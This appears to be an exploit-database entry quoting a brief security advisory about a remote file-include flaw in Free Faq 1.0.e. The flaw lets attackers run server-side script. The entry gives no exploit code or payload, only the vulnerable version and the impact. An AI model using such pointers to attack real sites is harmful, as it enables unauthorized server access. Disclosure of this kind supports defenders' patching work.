Type: webapps

Exploit:
source: https://www.securityfocus.com/bid/20621/info

Free Faq is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit of this issue allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

Version 1.0.e is vulnerable to this issue.
